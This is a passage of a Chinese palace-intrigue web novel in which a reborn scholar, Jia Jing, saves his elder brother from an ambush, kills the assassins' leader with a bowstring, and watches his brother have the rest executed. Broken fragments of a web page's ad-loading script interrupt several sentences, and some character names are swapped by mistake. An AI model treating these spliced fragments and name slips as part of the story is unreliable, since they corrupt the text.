敬面前时,贾敬意识到,他辜负了兄长的期望。即便重来一世,他依旧无颜面对兄长。 重来一世,他真的能改变这一切吗? 贾敬的眼睛此时跟染了墨一般,浓浓一团,看不见丝毫光亮。 贾敷一直注视着贾敬,见状心猛地一抖,他的弟弟何时这样过? 这模样,令他心惊。 贾敷的声音更轻了几分,“阿元,没事的,一切有哥哥在呢。” 扶着贾敬肩膀的手已经移到后背,轻轻地拍着。 有哥哥在…… 贾敬原本僵硬的身体在贾敷的安抚下,慢慢放松下来,回了神。 是,兄长还在,那些事情还未发生,一切都还能重新开始。 他不论付出什么代价,他都要护着兄长。 贾敬眼眸转动,侧头看向贾敷,试图挤出一抹笑容,却发现有些勉强。 他最终深吸一口气,嘶哑着嗓音,“哥,我没事。” 明显在隐瞒着什么,贾敷怎么看不出呢?可观贾敬方才的情形,贾敷说什么也不敢逼问,只顺着他的话说。 “无事便好。” 贾敷看了看外面天色,渐渐亮了起来,看来阿元是连夜赶来。 “那阿元是想哥哥,这才忽然跑来了?” 贾敬也朝外瞧了瞧,却不是看天,而是看人,看外面守着的人。 他并没有直接说回京路途上可能会出意外的事情,反而是告诉了贾敷琼林宴上的事情。 “方才问我琼林宴上是否有事情,确实有事情。” 贾敬话音刚落,贾敷舒展的眉头都皱在了一起,“发生了何事?” “今日,殿下送了我宫花作……” 贾敬将今日琼林宴上的事情说了一遍,先是将话头停在了他与天丰帝之间的对话。 贾敷听完,眉蹙得更紧了,心里有些惴惴不安。 天丰帝的这番做法,看似给了贾敬恩典,皇恩浩荡,实则是鲜花着锦,将贾敬架在火上烤。 他们家的出身,本就与那些清流寒门科举不合,天丰帝又在琼林宴上,当着贾敬那些同年们的面,这样抬举他,反而是会激化贾敬和同年们之间的矛盾。 尤其是,天丰帝还是借着已故去的贾代化来作由头,一时间,贾敷心中有些复杂,又多了一丝其它想法。 贾敬看出兄长的担忧,宽慰道:“兄长可是担心我被其他人排挤?” “我看谁敢?”贾敷立刻接道。 “呵。”贾敬轻笑出声,原来兄长是这么不分青红皂白护犊子的吗? 这种感觉离他太久了。 “哥,你放心吧,今日我的收获,可不小……” 贾敬又将宋子虚的事情一说,贾敷听着,面色怪异,打量着贾敬,“他到底图什么?” 不会是图他家阿元样貌生得好吧? 贾敬见贾敷如此,先是一愣,随后明白过来,眼尾一挑,“就不能图我人品好?” 贾敷讪讪一笑,摸了摸鼻子没说话,心里却道:才认识几天,就能看清人品了? “琼林宴安稳度过,那便是好事了,就等你授官上任呢。” 贾敷感慨,贾敬面色渐渐变得严肃。 9. 第 9 章 贾敷见贾敬变了神情,原本略显放松的心又提了起来,思及贾敬深夜出城赶庄子的举动,倘若不是琼林宴出了问题,那必然是别的地方有什么他非来不可的急事。 “阿元,你可是还有什么事情瞒着我?” 贾敬抿了抿唇,眉头微微皱起,似是有什么难言之隐,“并非是瞒着你,而是我不知道该怎么说。” 贾敷:“与我,你还顾忌什么?” 贾敬定定地望着贾敷,想了一会儿,最终下定决心开口: “哥哥,方才说的琼林宴,你可感受到了圣上对咱们府的态度?” 贾敬此话一出,贾敷心头一震,忽地抬起眼来,紧紧地盯着贾敬,却没说话。 “哥哥觉得,父亲在圣上那里的轻薄情谊,还能存多久?又能容咱们府多久?”贾敬声音压低了几分。 “慎言!”贾敷下意识地朝四周看了看,见外面守着的王大,才转回头看向贾敬,带着气音,“什么容下容不下?咱们府对圣上向来忠心耿耿,圣上恩泽各家勋贵,也不止咱们一家。” 贾敬哂笑,“是,现在是恩泽,可恩泽大了,便会引来忌惮了。” 贾敷面色已然变得难看,可依旧说道:“咱们府也就还留着先祖国公留下的府邸,到我这里,爵位早已经降到了一等将军,后面可能孙辈就到头了,圣上怎么……” 话说到一半,贾敷忽然噤了声。是啊,按照原本这走向,宁国公这一脉的爵位,到他的孙辈就该结束了。 可…… 贾敷缓缓抬眸,看着面前刚考上进士,光耀贾家门楣的弟弟,一切都明白了。 因为他的弟弟考上了进士,便引来了圣上的忌惮? “这、这怎么可能……”贾敷喃喃,却还是被贾敬听见。 “为何不可能?”贾敬反问,“琼林宴上,圣上对我的那一番捧杀,哥哥还未看明白吗?” “圣上可能便希望咱们府就这么传下去,安分守己,谁知出了我这么一个不安分的,竟然这么不识相地科举高中了。” 随着贾敬的话,贾敷眉宇间浮现出一丝忧虑,他缓缓摇头,仿佛在回忆些什么: “你读书科举,是父亲在时便和圣上说过的,就你提及的那对宫花,不也是父亲所求,圣上同意所赐吗?” 贾敬知晓,忽然和贾敷这么说,难免贾敷会接受不了,可事实就是那么冷酷无情。 “所以,方才我才问,父亲在圣上那边的情谊,还能维持多久?”贾敬又说了一遍,“没错,圣上是同意了我读书科举,可圣上却没指望我能科举高中,毕竟,别家勋贵子弟多是纨绔混痞。” “今日琼林宴上,圣上说的那番话,到底是为了我好,还是拿我当靶子?” 贾敬的这句话宛如一柄大锤捶在了贾敷的心上,这也是先前贾敷听见贾敬所言时,便起的心思,只是当时怕自己多想,就没去多想。 可现在,贾敬一下子将面前的白纸戳穿,让贾敷不得不去思考,天丰帝对贾敬,或者对整个宁国府是什么态度。 贾敬见自己兄长双手交叉紧握,大拇指上下绕着,这是兄长往日里思考时经常做的动作,他便趁热打铁,接着道: “哥哥,你我自幼读书看史,历代的功臣勋贵们,又有几个善终的?又有多少延绵百年的?” “汉祖诛杀异姓诸侯,唐宗削藩镇……古往今来,在天下初定时,他们倚仗功臣开疆拓土,待基业稳固后,便疑心重重,唯恐功臣拥兵自重,自觉威胁忌惮。” 说到这里,贾敬顿了顿,观察着自家兄长的神情,却发现贾敷正看着他,目光平静地有些奇怪,他见贾敬停了下来,颔首:“怎么不接着说?” 贾敬眨了下眼睛,下意识应了贾敷的话,“俗话说,人走茶凉,即便父亲当年与圣上亲近,可到底父亲已经逝世多年。” “可能父亲在时,圣上对于我走科举仕途没有什么看法,可现在,圣上绝对是不愿意看见,宁国公府出一个科举出身的实权人物。” 贾敷听着,提出了自己的看法,“且不说父亲逝世,早已经不掌兵权,就说咱们府,如今也不再管这些事了,何必如此呢?” 他自认为自己如今在一帮子勋贵里已经够窝囊了。 贾敷摩挲着手指上已经淡化的茧子,嘴角泛起一丝苦意,若是有机会,谁想跟条虫一样趴着过日子呢? “可是,咱们西府还鼎盛着呢。”贾敬轻声吐出一句话。 贾敷听得心头一震,一时竟不知该如何反驳。 诚如贾敬所言,他们东府如今瞧着是没什么,可西府如今的掌家人是他堂叔贾代善,世袭先祖的荣国公,他本人在朝堂也是如鱼得水,他父亲贾代化去世后,圣上便更加器重贾代善了。 贾敷心中涌起一丝无力,他们东府与西府本就是同根同祖,向来是相互扶持,可眼下。圣上却不愿意看到这一幕。 西府已然势大,他们东府合该避其锋芒,才能削减圣上的忌惮和戒心。 贾敷明白这一切,可他依旧不甘,不是为自己,而是为贾敬。 他的弟弟是天资聪颖,可科举之路又怎是那么容易?连天丰帝都未曾想到,贾敬会考中。 贾敬能高中,除去天资,剩下的是五更起、三更睡的温书,临近会试的那一年,贾敬每天可能都睡不到三个时辰。 让贾敷藏拙,装庸才之辈,碌碌无为一生,他自己也就认了,谁让他出身在这公府之家,是长房嫡子,要扛起家族的重担。 可要让贾敬放弃现在他努力考中的功名,贾敷不愿,这太不公,太残忍,他为贾敬报不屈。 先前,贾敷与族中其他长辈商议过,贾敬此次高中,是二甲进士,按照朝堂旧例,本该外任到地方,做个主事,倘若运气好,碰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见地方缺人,那么还能当个知州。 然而大乾朝如今的官场,重内轻外,认为京官就算品阶低,那也是要好过地方官,多数人不想外放,宁愿在京中做七品小官,也不愿外放去地方做五品官。 贾敷与族中长辈也不愿贾敷被外放,因此想让族中运作一番,将贾敬留在京中,最好是能进翰林院。 可如今看来,天丰帝如此忌惮贾敬,又怎么会让贾敬留在京中,进翰林呢? “阿元,你想如何?”贾敷认真望着面前一直平静的弟弟,猜想贾敬应该心中已经有了盘算。 其实贾敷没有猜错,上辈子他们精心安排,打通关系,最终也没能将贾敬塞进翰林院。 若不是贾敬处理贾敷丧事,继承家中爵位,又为贾敷守五七孝期,之后又发生了那件事,贾敬已经无心外任,便无期限告假,直到弃了官身,也没能去天丰帝为他找的地方,任景州知州。 贾敬分析着:“圣上大抵不愿我留在京中,想我外任做官。” 贾敷静静听着,贾敬所说也是他方才所想,贾敬紧接着又反问: “哥哥觉得,我应当低调行事,避其锋芒,外任当官躲个三年五载吗?” “此举也不可不算是以退为进。”贾敷觉得此举可行,可外任地方,就意味着贾敬要舍弃京中的荣华富贵生活,贾敷拧眉,“阿元,外任做官,极为艰苦,你……” 贾敬知晓兄长心疼他,他却不在意的摇摇头,“若是吃苦,我并不怕。” 可他就怕,他吃的苦头,毫无意义。 方才那一番问话,是贾敬对其兄长的试探。看的出来,兄长认为,只要自己听从天丰帝的安排,外任做官,便能减轻或打消天丰帝的打压和忌惮吗? 若是上辈子没经历一切的贾敬,可能也会这样天真的认为。 实则是……低估了天丰帝的心狠手辣,和隐藏在暗处的不知名敌人的诡计。 上辈子他的授官还未下发,兄长贾敷便坠马遇害,紧接着对他们宁国府的打压和针对就接踵而来,直接让贾敬还未踏足朝堂,便已经被隔离在外,最终被迫离开。 贾敬肯定,这次就算他助兄长躲过今日之劫,他如常接收到授官调令,待他一旦出京,那些人便会再次向贾敷出手。 而参考上一世,薛琼外放瘴南之地的途中,染病逝世,可能他贾敬在前往景州的路上,也会步薛琼的后尘,在任上途中“病逝”。 贾敬知晓兄长的心思后,便决定向贾敷摊牌了,他要让贾敷知道,他们宁国府目前到底处于一个怎样危机四伏、虎狼环伺的境况。 “哥哥是不是想知道,我为何深夜出城,都要赶来庄子上?” 贾敷一愣,随即点头,心中有了一丝预感,静静听着贾敬说话。 “因为,待天亮后,哥哥从庄子回京的路上,有人埋伏圈套,想要谋害你。” 10. 第 10 章 贾敷闻言大骇,脸色聚变,“蹭”的从位上站了起来,死死盯着贾敬,一字一顿道: “阿元,你可知道自己在说什么?” 贾敬目光平静,声音笃定,“当然,哥哥觉得,我会拿这种事情开玩笑吗?” “是……上面的人?”贾敷深呼吸一口气,朝上指了指,指的便是天丰帝。 贾敬摇头,“我不知道他们是谁的人。” 可浑水摸鱼,定然脱不了干系。 贾敷直直站着,结合方才和贾敬的谈话,他心中的迷雾也揭开了一层。 原来,不仅仅是他们避其锋芒,趴在地上当条虫,便可以了。 他们是想要赶尽杀绝。 贾敷下垂的衣袖遮住了他紧紧攥住的拳头,他的拇指感受着食指指腹那消散却未消散干净的老茧,亦如他心中这些年一直压抑自身,却总是未曾消散的一丝火种。 他深吸一口气,试图平复内心的波澜。 他先前避让藏拙,是为了护宁国府上下族人,是为了护妻儿幼弟。 贾敷现在意识清明冷静,他知道,走到这一步,已经是如临深渊,无路可退。他的身后是他要护着的人,他也不能再退。 他要活着,才能护住他想要护着的人,无论是妻儿,还是弟弟,亦或是整个宁国府一脉族人。 “你是怎么知道的?”贾敷连忙问贾敬,脸上是难掩的担忧,“路上过来有没有被人发现?” 至于贾敬是如何知晓,他还真不知道该如何回答贾敷,重来一世,如此怪力乱神之事,还是不言为妙。 贾敬故作玄机,糊弄了个理由,贾敷狐疑,却依旧选择相信弟弟。 “哥哥想如何应对?”贾敬还是想听听贾敷想要怎样。 贾敷开口的声音仍有些颤抖,但内容却十分清晰肯定,“目前看来,唯有先下手为强,方能有一线生机。” 不反抗,便没有活路了。 贾敬抬眸,对上自家哥哥冷意决绝的眼睛,笑了,“好,既然如此,我就和哥哥一起拼一把!” 贾敷此时已经镇定,也看出贾敬的胸有成竹,直接问道:“你想要做什么?他们那个计划,你又知道多少?” “他们不想我留在京里,我便偏要留在京里,” “他们不想我进入翰林院,我会让他们求着我进翰林院。” 贾敬桃花眼微微眯起,眼中闪过凛冽的眸光,唇角上扬。 外面天光已然大亮,晨曦的光从门窗斜射进来,映照在贾敬的脸上,显得格外明亮晃眼, 贾敷望着自家弟弟这幅模样,心中得意油然而生,这才是他宁国府金尊玉贵长成的小公子啊。 贾敬若有所感,回首便看到贾敷正小心翼翼地从衣领里掏出了一个红绳吊着的物件。 “哥哥藏了什么宝贝,竟然还贴身戴着?”贾敬是真的好奇,见贾敷那小心的模样,忍不住出声戏谑,“可是嫂子给哥哥绣的什么?” 可真当看见贾敷手中的东西时,贾敬却愣住了。 那根红绳上穿着的,正是一枚光泽温润沉稳的羊脂白玉扳指,那枚扳指在晨曦的光线下闪烁着柔和之色,让人忍不住上手把玩。 “这是……”贾敬怔怔地望着,思绪瞬间穿过模糊的记忆。 贾敬认识这枚扳指,这是他兄长贾敷自小习武射箭便戴在手上的扳指,是父亲贾代化所赠。 小时候,每当贾敬被贾代化吊起来打时,都是贾敷拦在贾敬面前,劝下,接着带贾敬逃离。 小贾敬那会儿还会伤心父亲的狠心冷酷,会哭着问贾敷,“为何父亲不喜欢阿元?” 贾敷便会用这只戴着羊脂白玉扳指的手,轻轻抚摸着小贾敬的头,向小贾敬承诺,“哥哥喜欢阿元啊。” 之后贾敷会轻拍着,哄小贾敬睡觉。 在贾敬的记忆深处,轻轻拍着自己,眼前一晃一晃出现的羊脂白玉扳指,是最温暖的一抹存在。 但这枚扳指…… “这扳指,不是丢了吗?”贾敬定定望着贾敷手上的那枚羊脂白玉扳指,想要确定,是否和自己远久记忆里的那枚一样。 准确说,这枚羊脂白玉扳指是贾敷主动扔的,扔在了他们宁国府后院的荷花池里,那个深秋,池子里残荷横立,贾敷放弃了自己习了十年的童子功,此后不再习武。 贾敷望着手上的羊脂白玉扳指,眼眸中尽是柔情和笑意,“你嫂子陪我找回来了。” 他说完,揭开红绳,郑重的将扳指带回了拇指上。 贾敷畅然一笑,“果然还是这样舒服。” 贾敬刚要说什么,就见贾敷又将那根红绳小心收好,忍不住扯了扯嘴角,只觉得牙酸,不用猜,这红绳肯定也是他嫂子所编。 “和哥哥说说,你的计划吧。”贾敷的语气轻快了许多,与手足同心,便是有困难,也不是那么难捱了。 贾敬转头朝外看去,天亮了,那些人应该已经在那等着了。 “那些人能这样埋伏在那道上,想来是知晓哥哥急忙赶回去,为我庆祝。” “如此,我们便让他们在那边候着,磨他们的心态,再趁他们疲惫时,突袭,一举拿下他们,我来时已经将府里最强健的一批护院都带上了。” 贾敷对此计划没有什么意见,只是担忧的问了句,“直接将那些人捉了吗?他们背后的人在暗,也不知道身份,若是贸然抓了人……” 贾敬显然已经考虑到了这点,抬了抬下巴,“既然不知道他们的身份,我们便给他们按个身份,” “按个身份?什么身份?” “听闻鲁地近日匪寇为患,甚至已经出了鲁地,四处霍乱,烧杀抢掠,无恶不作,百姓苦不堪言。” 贾敷一听,撩了眼自家笑得跟狐狸似的弟弟,立刻明白了他的意思, “你的意思是,给他们按上一个匪寇的名头?” 贾敬但笑不语,贾敷点头,“确实是个好招,如此一来,咱们捉了这些‘匪寇’,他们背后的主子,也不敢认,只能吃了这个闷亏。” “若是咱们报官,可能背后的人怕牵扯出什么,断尾求生,更不会认。” 贾敬却摇了摇头,“哥哥所说有理,却忽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 略了件事情。” 贾敷微怔,“什么?” 贾敬:“哥哥方才的那一番猜测,忽略了一个人。” “谁……”贾敷刚问出口,就噤了声。 还能是谁,自然是那位稳坐高堂的天丰帝,这片王土上的主人,掌握着全天下人的生杀予夺。 如果真的是那个人…… 贾敷手指摩挲着白玉扳指,语气生硬,“必要时刻,也可以将这些‘匪寇’全部灭口。” “诶,我还准备靠他们立功呢,哥你可不能将人全宰了。”贾敬连忙阻止。 他哥怎么一戴上扳指,就跟解封血煞之气啊? “哼。”贾敷冷哼一声,“你想如何立功?” “这‘匪寇’不能你来剿,而是我来。”贾敬解释,“你若是剿了匪,顶多获得些银钱珠宝,咱们府缺那个吗?” “我便不同了,若是我这个新科进士剿了匪,他还能不赏我?” 贾敬这话,乍一听没什么问题,但细思却是漏洞百出。 贾敷先是点头,随后就纳闷了,天丰帝赏赐他金银珠宝,难道就不能赐贾敬了? 可刚准备开口,便被贾敬堵了嘴,“哥哥,你放心吧,一切交给我。” 贾敷狐疑,“你小子是不是瞒着我什么?” 贾敬眨了眨眼睛,“怎么可能?我现在就与你说说计划,你自己看看,我是否瞒你什么。” 贾敬的计划也并不多复杂。 先是按照他说的那样,让贾敷现在庄子上待着,熬着那些人,让他们干等着。 等到傍晚他们等的不耐烦时,便安排小厮假装报信,说贾敬昨晚去了西边的温泉,邀贾敷去温泉庄子,但因为是去西边的温泉庄子,因此会改路线,走相反的路。 那些人知道这些情况后,自然会立刻改变蹲守的地方,引他们离开。 而前往西边的温泉庄子上,在路上提前布置属于自己的人马,先不要轻举妄动,悄悄跟着那群人,确定他们所蹲守的地方后,将这群人全部包围。 最后贾敷骑马,带着些护院随从朝温泉庄子去,引诱那些人出手。 贾敷听完,认真在脑中过了一番,确定没有什么奇怪之处。 “所以,你呢?” 贾敬勾唇,“做戏自然要做全,我自然应该在温泉庄子上待着了。” “我等会儿带一小队人,从庄子另外一头出去,先去温泉庄子。” 贾敷有些不放心,“你真的不和我一起?” “哥,鸡蛋放在一个篮子里,这才更危险吧?”贾敬反问。 贾敷虽还是觉得有些不对劲,但到底被贾敷说服,只好同意了。 “你一定要小心。”贾敷送贾敬从另外一头出去,叮嘱着。 贾敬摆摆手,“哥,是你更危险,这话你自己记着。” 之后的计划都如贾敬所策划的那样进行着,一直到贾敷带人在中途遇见那群人,他才真的确定,真的有人埋伏。 可就在贾敷准备和人干起来时,他看到了什么? 贾敬怎么在这里! 11. 第 11 章 贾敷当在这混乱现场看到贾敬的那一瞬间,便明白了贾敬先前所说的计划里,怪异所在。 贾敬与他说的计划里,将所有人都安排妥当,却唯独他自己的安排,含糊其辞,只是说去温泉庄子待着。 可面对这么一件紧迫复杂的事情,贾敬又怎么可能将自己置身事外? 他怕是早就将自己安排好了,又怕贾敷反对,便直接给隐了去。 “当真的长成了,注意大的很!”贾敷气的牙痒痒,“尽胡闹!” 待这事了毕,他定要和他上上规矩。 贾敬隔着官道与贾敷对望,见自家兄长那模样,自然猜到兄长是气着了,心虚的抿了抿嘴。 不过,他既然已经决定这样做,便没有现在掉头回去的道理。 他今日,必须在场。 而就两人对视的这一眼,被他们围堵在官道中间的贼人头领也瞬间明白,自己糟了算计! 只见那贼首面色一变,眼中闪过一丝狠厉,立刻下令:“杀!” 他们的目标从始至终都是贾敷,一声令下,所有人皆毫不犹豫地向贾敷的方向扑去。 “围了他们!”贾敬抬手直指前方,他刚刚故意暴露自己,就是想要试探一番。 现在贾敬可以确定,这群黑衣人即便看到自己,也依旧紧盯着贾敷,是想要至贾敷于死地,也想只攻一个地方,从而突围。 既然如此,怎么能让他们跑了?贾敬直接命人黑衣人后方包了上去。 贾敷见黑衣人全朝自己的方向来了,心里放松了几分,利落地抽出马侧一旁悬挂着的弓箭。 “来得好!刚好拿你们试试爷的弓,看看这些年没用,锈了没有。” 贾敷作为宁国府的承爵人,近些年给京中众人的印象,大抵是温文尔雅的世家公子。 如其他人一样,平日里也不过是品茶看戏,行为举止在规范中,从不出格。 可现在的贾敷,肆意笑着,语气张扬,眼里凶意尽显,与平日里的模样,大相径庭。 贾敷说完,迅速搭上一支箭,拉满弓弦,眼睛眯起,瞄准了冲在最前面的一名黑衣人。 “咻!” 随着贾敷的果断松手,弓弦上的箭矢弹出,如闪电般射出,直取那名黑衣人的胸口。 黑衣人蒙着面,仅露出的那双眼满是惊恐。箭速极快,他压根来不及躲避,锋利的箭头便直直插入黑衣人的胸口,惨叫一声,倒地不起。 为首的黑衣人诧异地望着贾敷,见他动作流畅,臂力惊人,射出的每一支箭,都精准有力,宛如夺命的修罗。 是了,贾代善当年有一夫当关之勇,他的儿子,又怎么可能是富贵堆里长出的锦绣草包? 只是没想到,竟然让他藏拙这么多年。 黑衣人眼里的狠意又深了,下手愈发凌厉起来,今日的任务,必须完成,绝对不能让贾敷活着回去。 “不必留活口!杀!” 贾敷灵活地驾驭着马,与无限逼近的黑衣人们周旋,尽可能的保持距离,不给他们近身的机会。 这些黑衣人明显是死士,即便人数远远少于贾敬贾敷所带来的护院,凭借他们不怕死的劲头以及实战实力,攻势如蚕食一般慢慢逼近,贾敷身边跟着的护院一个个倒下。 就在黑衣人即将要将贾敷团团包围之时,贾敬方才指挥地护院已经追上,对黑衣人们围追堵截。 而贾敷见状,直接扬鞭朝后退去,黑衣人为了脱离后方贾敬一行人的掣肘,不得不加快速度,紧追着贾敷而去。 忽然,黑衣人首领追着追着,只觉得有些怪异,他猛地一拉马头,骤然转身,紧接着便看见一枚箭射来,然而那箭不是朝黑衣人射去的,是朝一旁的一颗大树。 树枝被利箭射下,“嘭!” “嘭嘭!” 茂盛的草丛中瞬间绷起数十根麻绳,马腿裹挟着麻绳,瞬间打着绊。 接二连三地倒地声,黑衣人身下的马全部因麻绳裹腿轰然倒地,斜躺在地上发生“嘶嘶”嘶叫声。 黑衣人也随着马匹倒地,纷纷从马上跌落下来,狼狈不堪地摔在地上,摔得四处滚落,四仰八叉。其中许多人砸在地上后,都发出了尖锐刺耳的惨叫声。 “啊!” 贾敬缓缓放下手中的弓箭,他冷冷地凝视着地上那群因为疼痛而不自觉蜷缩成一团的黑衣人,那双冷若冰霜的眼里,还有着微不可察的嗜血和快意。 上一世,他曾亲自去勘探过贾敷出事的地方,根据现场遗留的痕迹以及马匹达的死状,他推断出贾敷的马匹正是被他们用这样的方式绊倒,导致贾敷摔下马背。 而地上则铺满了他们事先准备好的尖利碎石,以此来伪造贾敷意外坠马身亡的假象。 这次,他精心策划,提前布局,就是为了让这些人也亲身体会一下这样的感受。 他曾经每每入睡时,无数次梦见的死法。 这就是贾敬没有提前告诉贾敷的计划,这也是他为何一定要来这里的理由。 他不仅要救下兄长,还要亲手了结自己的噩梦,失去亲生兄长的噩梦。 贾敷听见身后传来的异动,急忙转身,被眼前这一幕惊住。 只见所有的黑衣人和他们的马匹都横七竖八地倒在地上,一片混乱。 他们的嘴角都挂着淋漓的鲜血,他们在地上挣扎着,匍匐着,想要爬起,却因为手上动作,伤得更加严重。 天边的太阳已然落下,夜幕降临。可即便如此,贾敷依旧看清楚了那些黑衣人身上嵌满了刀片利石。 他们宛如被针扎地猴子,挣扎着,痛苦的呻吟着。 贾敷骤然看向不远处端坐在马上的贾赦,朦胧夜色间,婆娑树影下,贾敬那张脸忽明忽暗,显得格外诡异慑人,是贾敷从未见过的模样。 黑衣人首领好巧不巧,就跌落在贾敬的马下,他已经顾不得胸腔内翻涌的内脏和鲜血,艰难地抬起头,满眼惊恐地望着贾敬,心中一阵寒意涌起,像是意识到什么。 这明明是主子为贾敷准备的死局! 现在原封不动的还给了他们! 他知道!他们暴露了!他知道他们的计划!他是故意设计了这么一个局让他们跳! 贾敬翻身下马,手持着弓箭站定在黑衣人首领的面前。 “阿元……” 贾敷担忧的唤了一声,可刚开口, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便被接下来的一幕惊得堵住了接下来的话。 只见贾敬一把掐住黑衣人首领的脖颈。 “你……” 黑衣人刚准备开口说话,只见贾敬另一只手腕一翻,弓弦便紧紧地勒在了黑衣人的脖颈处。 贾敬的手指紧扣着弓弦,不断收紧。力气之大,令他自己的手都被弓弦划破,他却不为所动,宛如没有痛觉一般。 黑衣人反抗着扣住弓,却因为浑身的疼痛使不上力气。 贾敬低垂着眼眸,就这样紧紧盯着他痛苦狰狞的面容,挣扎的丑态。 “啪嗒,啪嗒。” 鲜红的血液顺着弓弦流动,滴落在草地上,不知是贾敬自己的血,还是那个黑衣人首领的。 “啊,啊啊……” 渐渐地,渐渐地,原本还难受呜咽的声音消失了。 贾敬就这么淡漠地望着那颗头颅无力的低垂下去,嘴角却牵起了一抹笑。 他自始至终都没打算放过这些人。 贾敬先前让贾敷留这些人活口的话,皆是谎言。 上一世,他们害死了贾敷,他怎么可能还会让这些人活着。 真好,这些人都该下地狱。 眼前的红色,吸引着贾敬,他眼睛一眨不眨地凝望着,想要一直沉溺其中。 贾敷怕有什么漏网之鱼,早已经吩咐护院将其他黑衣人都控制起来,自己则是担忧地望着明显不对劲的贾敬。 “阿元……”贾敷声音略微颤抖,轻缓着脚步朝贾敬走去,生怕惊到了贾敬。 贾敬依旧低垂着头,他像是没有听到贾敷的声音,也不知道在想些什么。 贾敷伸出手,轻轻覆在贾敬满是鲜红的手上。 温热又略带薄茧的手,让贾敬身体一颤。 “没事,阿元,是哥哥。”贾敷连忙安抚,他用着巧力,接过贾敬手中已经被鲜血浸透了的弓箭,又确保不会伤到贾敬,嘴上还一直说着,“阿元,好了,已经结束了,把弓给哥哥。” “结束了……”贾敬喃喃,他转动着干涩僵硬的眼睛,缓缓抬眸,眼神茫然地望着贾敷,“哥哥……” 贾敷一把将那把弓丢掉,另一只手轻轻拍着贾敬的后背,“是啊,都结束了。” 夜风吹过,带来阵阵凉意,也吹醒了陷在魔怔中的贾敬,他的眼眸渐渐凝实。 贾敬感受着手上的刺痛和湿意,下意识朝手上看去,满是鲜红的手。 他惊恐无措地对上贾敷的目光,张了张嘴巴,却什么声音也没有发出。 贾敬只觉得呼吸急促,自己要喘不过气来,心也跟着剧烈跳动,仿佛要从口中蹦出来。 他不是在恐慌自己刚刚绞杀了黑衣人,杀兄仇人,死不足惜。 可他癫狂嗜血的模样,却在兄长面前展露无疑。 贾敬不愿错过一丝贾赦的神情,他像是在确定什么,又像是怕看到什么。 兄长是否会觉得他是个残忍无度的怪物? “哎……” 贾敷叹了口气,从怀中掏出一方丝帕,轻轻地包住了贾敬还在往外渗血的伤口,“难为你嫂子为我新绣的帕子了,回去你可得好好给我解释……” 12. 第 12 章 “嘶……” 手上传来的刺痛让贾敬忍不住缩手,贾敷一把抓住贾敬的手腕,没好气道:“现在知道疼了?” 贾敬梗着脖子,却什么话都没有说。 贾敷的目光锁在贾敬受伤的手上,眸光闪了闪。贾敬的手心被弓弦划出一道道狰狞的伤口,伤口边缘向外翻卷咧开,鲜血正从裂口处涌出,若是从远处看,倒像是裂了口的石榴。 贾敬眼皮不断眨着,紧抿着唇,将呼之欲出的抽气声堵在牙关。他强忍着疼痛,面色发白,额头上起了一层薄薄细汗。 他这幅可怜模样落在贾敷眼里,硬生生将原本想要说出的话咽了回去,原本还有些气愤的心思也瞬间消失个干净,心里像是扎了根刺,仅留下对这位弟弟的心疼。 好好一只拿笔的手,为了他,伤成这个模样。 贾敷尽可能地小心擦拭伤口周围的鲜血,最后将帕子包上扎紧,“好了,先就这样止血,咱们回去再找大夫好好处理。” “你这手就别使劲了,小心又崩了血。” 贾敷一如往常的关心和爱护,让贾敬心中更加不安和惊慌。 见贾敷收回手,贾敬几乎是下意识伸出手想要去抓,被贾敷眼利的捕捉见,连忙控制住,“不是说了,让你别乱动吗?” 贾敷的语气这下终于夹杂些了怒气,为贾敬的不听话。 “哥……”贾敬怔怔地望着贾敷,“你不问我……” 贾敷目光平静地对上贾敬略显惶恐不安的眼神,似是不解,“问什么?” “问你是如何骗我,设下这样的陷阱的?” 贾敬面对贾敷的问话,微微张了张嘴,最终却欲言又止,他内心充满着矛盾与纠结,他不知道该问如何向贾敷解释这一切。 正如贾敷所说,自己骗了他,甚至还使用了这么狠毒残忍的手段让贾敷亲眼看见…… 他无措地站在那里,像是一只走丢、丧失方向的归雁。 贾敷静静看着,将贾敬的神态变化尽收眼底。 阿元是他一手带大,他怎么可能没看出贾敬的不对劲呢? 可贾敷又非常肯定,面前的阿元确实是真的,无论是小动作还是各类神情变化,都表明着他身份的真实性。 就连方才贾敷为贾敬包扎时,还特地看了看贾敬右手虎口处的红痣,那是贾敬从出生时便有的,面前站着的,就是他的弟弟, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是贴了人皮面具冒充的。 可弟弟身上到底发生了什么,才令他如此怪异,贾赦不清楚,却也明白,贾敬有什么难言之隐。 最终,贾敷敛下眉眼,紧接着伸手就拧住了贾敬的耳朵,语气不善, “怎么,还想让我夸你不成?” 贾敷手上稍稍一用力,又看向地上那些沾满黑衣人鲜血的尖利碎石, “你布置的这个陷阱,你哥我都不想多说什么。” 贾敷脸上带着嫌弃之色,贾敬却是不顾耳朵的刺痛,脱口反问,“什么?” “老子嫌你陷阱设的太烂!”贾敷松开拧着贾敬耳朵的手,指了指贾敬那对“粽子”,“还将自己伤成这样!” “我……”贾敬刚张嘴,又被贾敷的话堵住,只见贾敷摆摆手,“好了,你这半桶水就别晃了,歇着吧。” 说完贾敷抬头朝旁边的王大使了个眼色,还未等贾敬回过神来,便听到几声闷哼声。 贾敬也跟着看去,就见所有的黑衣人都已经死于护院们的刀下。 “既然已经走到这一步,自然是要斩草除根。”贾敷语气淡然,他稍稍侧头看向贾敬,“不会怪大哥凶残吧?” 13. 第 13 章 “不会……”贾敬喃喃道。 这些人,该杀! 贾敷左手转动着右手拇指上的羊脂白玉扳指,感叹一句,“当个粗人的感觉,真快活!” 紧接着贾敷也不再理会贾敬,反而是招呼着家中护院将那些黑衣人都处理干净。 贾敬定定看着自家兄长的举动,心中的自厌担忧慢慢被压了下去。 贾敷将贾敬方才布置的陷阱痕迹都清理干净,转头问,“和我说说吧,你先前是怎么打算的?” 他还记得贾敬先前对他说的话,对付黑衣人,不仅是为了保住自己的性命,还要利用这件事来动摇天丰帝授官的决议。 